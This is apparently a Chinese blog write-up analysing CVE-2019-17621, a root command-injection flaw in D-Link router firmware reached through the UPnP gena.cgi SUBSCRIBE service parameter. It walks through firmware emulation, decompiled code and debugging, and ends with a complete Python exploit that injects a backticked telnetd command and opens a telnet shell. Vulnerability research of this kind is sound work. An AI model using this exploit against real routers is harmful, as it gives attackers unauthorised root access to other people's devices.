DLink_RCE_CVE-2019-17621浅析

文章目录

  • 1. 漏洞信息
  • 2. 固件分析
    • Firmadyne提取固件
    • 信息收集
    • UPnP协议
  • 3. 漏洞分析
  • 4. 调试
  • 5. Exp
  • 6. 参考资料

1. 漏洞信息

CVE - CVE-2019-17621 (mitre.org)

漏洞服务:UPnP

相关URL:/gena.cgi

描述:给UPnP服务发送构造好的HTTP SUBSCRIBE请求,实现root权限RCE。

固件下载链接

2. 固件分析

Firmadyne提取固件

$ sudo python3 ./sources/extractor/extractor.py -b DLink -sql 127.0.0.1 -np -nk ./DIR822A1_FW103WWb03.bin images/
$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb
# 导入数据库
$ sudo python ./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
# 制作qemu镜像
$ sudo ./scripts/makeImage.sh 1 mipseb
# 判断网络结构
$ sudo ./scripts/inferNetwork.sh 1 mipseb
...
Interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
Done!
$ sudo ./scratch/1/run.sh

至此已经可以通过192.168.0.1访问路由器页面了,虚拟机也进入shel了l,只是一直在输出device ioctl:: Operation not supported。。。

因为qemu system模拟得不太完美,用qemu user来打一下辅助。

解压文件系统进行分析:

cd images
sudo mkdir 1
sudo tar -xf 1.tar.gz -C 1/
cd 1
# 把qemu user拷过来备用
sudo cp $(which qemu-mips-static) ./

大概浏览一下,关注到服务器目录htdocs目录下的cgibin可执行文件:

$ file htdocs/cgibin
htdocs/cgibin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

运行一下:

$ sudo chroot . ./qemu-mips-static ./htdocs/cgibin ./htdocs/phpcgi
CGI.BIN, unknown command cgibin

报这个错是因为没有指定url参数:

.text:0040323C                 jalr    $t9 ; printf
.text:00403240                 li      $a0, format      # "CGI.BIN, unknown command %s\n"

用qemu -0指定即可:

sudo chroot . ./qemu-mips-static -0 "htdocs/phpcgi" /htdocs/cgibin

信息收集

$ sudo nmap -sV 192.168.0.1
...
Starting Nmap 7.60 ( https://nmap.org ) at 2022-04-19 19:06 CST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE   VERSION
80/tcp    open  http      WebServer
443/tcp   open  ssl/https WebServer
49152/tcp open  unknown

全局搜索一下49152,根据/etc/services/HTTP/httpsvcs.php可以判断这个端口和upnp协议有关:

function httpsetup($name)
{
    //...
    $upnp	= query($infp."/upnp/count");
	$dirty	= 0;
    $port	= "49152";
    //...
    /* Create the device description files */
	$vdir = "/var/htdocs/upnp/".$name;
    //...
    {
		startcmd("ln -s /htdocs/cgibin ".$vdir."/soap.cgi");
		startcmd("ln -s /htdocs/cgibin ".$vdir."/gena.cgi");
	}
    //...
}

在qemu里查看下端口,是httpd监听了这个端口:

# netstat -tnlp | grep 49152
tcp        0      0 192.168.0.1:49152       0.0.0.0:*               LISTEN      19269/httpd

UPnP协议

Universal Plug and Play

可参考这篇文章:UPnP协议利用 - 简书 (jianshu.com)

3. 漏洞分析

漏洞位于genacgi_main函数,在处理http subscribe请求时,会有如下逻辑:

// getenv("REQUEST_METHOD") == "SUBSCRIBE";
// getenv("REQUEST_URI") == "/gena.cgi?service=...";
// a1_service即service参数值
int __fastcall sub_40FCE0(const char *a1_service)
{
    //...
    v2_SERVER_ID = getenv("SERVER_ID");
    v3_HTTP_SID = getenv("HTTP_SID");
    v4_HTTP_CALLBACK = getenv("HTTP_CALLBACK");
    v5_HTTP_TIMEOUT = getenv("HTTP_TIMEOUT");
    v6_HTTP_NT = getenv("HTTP_NT");
    v7_REMOTE_ADDR = getenv("REMOTE_ADDR");
    //...
    if ( v3_HTTP_SID )
  	{
        //...
        return 0;
    }
    //...
    v17 = getpid();
    snprintf(
        v23_buf,
        0x200u,
        "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh",
        "/htdocs/upnp/run.NOTIFY.php",
        v2_SERVER_ID,
        a1_service,
        v13 + 7,
        v16 + 1,
        v10,
        v7_REMOTE_ADDR,
        "/var/run",
        a1_service,
        v17);
    xmldbc_ephp(0, 0, v23_buf, (int)stdout);
    //...
}

看下/htdocs/upnp/run.NOTIFY.php逻辑:


include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if		($SERVICE == "L3Forwarding1")	$php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")			$php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")	$php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")	$php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")		$php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")	$php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")
{
	if ($SID == "")		// 和反汇编不设置sid的逻辑一致
		GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
	else
		GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
	GENA_unsubscribe($gena_path, $SID);
}
?>

问题出在GENA_subscribe_new内部,文件gena.php:

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
    //...
	GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
    //...
    fwrite(w, $shell_file,
		"#!/bin/sh\n".
		'echo "[$0] ..." > '.$upnpmsg."\n".
		"xmldbc -P ".$target_php.
			" -V INF_UID=".$inf_uid.
			" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
			" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
			" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
			" -V HDR_SEQ=0".
			" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
	);
	fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}

变量shell_file来自于cgibin中的SHELL_FILE=%s/%s_%d.sh %(service, PID),其中service是url中的可控参数。php在最后加了句rm指令,用来删除自身。

如果将$shell_file写为用反引号包裹的系统命令(如后台开启telnetd),在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,就能出发RCE。

4. 调试

根据main的参数字符串比较,要想跳转到漏洞函数,需要设置几个环境变量(不是随便设置,需要通过sprintf之前的检查),并访问htdocs/gena.cgi:

# HTTP_SID=NULL
sudo chroot ./ ./qemu-mips-static \
-E REQUEST_METHOD="SUBSCRIBE" \
-E REQUEST_URI="SUBSCRIBE /gena.cgi?service=L3Forwarding1" \
-E SERVER_ID="server_id" \
-E HTTP_NT="upnp:event" \
-E HTTP_CALLBACK="/" \
-E HTTP_TIMEOUT="Second-1800" \
-E REMOTE_ADDR="192.168.0.1" \
-E HTTP_COOKIE="aaaaaaaa" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-g 1234 -0 htdocs/gena.cgi /htdocs/cgibin 

在目标snprintf处下断点,成功断下:

.text:0040FEE4 addiu   $s1, $sp, 0x244+v23_buf	# buf存在s1里
...
.text:0040FF34 jalr    $t9 ; snprintf
.text:0040FF38 sw      $s0, 0x244+var_218($sp)
.text:0040FF3C move    $a2, $s1
.text:0040FF40 move    $a1, $zero
.text:0040FF44 lw      $gp, 0x244+var_20C($sp)
.text:0040FF48 lw      $a3, (stdout - 0x43E0FC)($s4)
.text:0040FF4C la      $t9, xmldbc_ephp
.text:0040FF50 jalr    $t9 ; xmldbc_ephp                # xmldbc_ephp(0,0, )

DLink_RCE_CVE-2019-17621浅析_第1张图片

不过因为非系统级仿真,最终在connect时失败了。

5. Exp

#!/usr/bin/python3

# get shell
# 	sudo python3 exp.py 

import socket
import os
from time import sleep

def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}'.format(host=server, port=port))

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: \n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    print('[*] Sending Payload')
    sleep(1)

    con.connect((socket.gethostbyname(server), port))
    con.send(request.encode())
    results = con.recv(4096)
    print('[*] Running Telnetd Service')
    sleep(2)

    print('[*] Opening Telnet Connection\n')
    os.system('telnet ' + str(server) + ' 9999')

serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

执行后,就会连上目标的telnet,可以看下fwrite写的文件:

# ls -l var/run
...
-rw-rw-rw-    1 root     0             309 Jan  1 07:20 `telnetd -p 9999 &`_19982.sh

6. 参考资料

DLink RCE漏洞CVE-2019-17621分析 - FreeBuf网络安全行业门户

D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析复现 (qq.com)

D-Link DIR-859的RCE漏洞(CVE-2019–17621)_NOSEC2019的博客-CSDN博客_sprintf漏洞

UPnP协议利用 - 简书 (jianshu.com)

printf(3) - Linux manual page (man7.org)

你可能感兴趣的:(IOT,#,iot漏洞,安全,iot)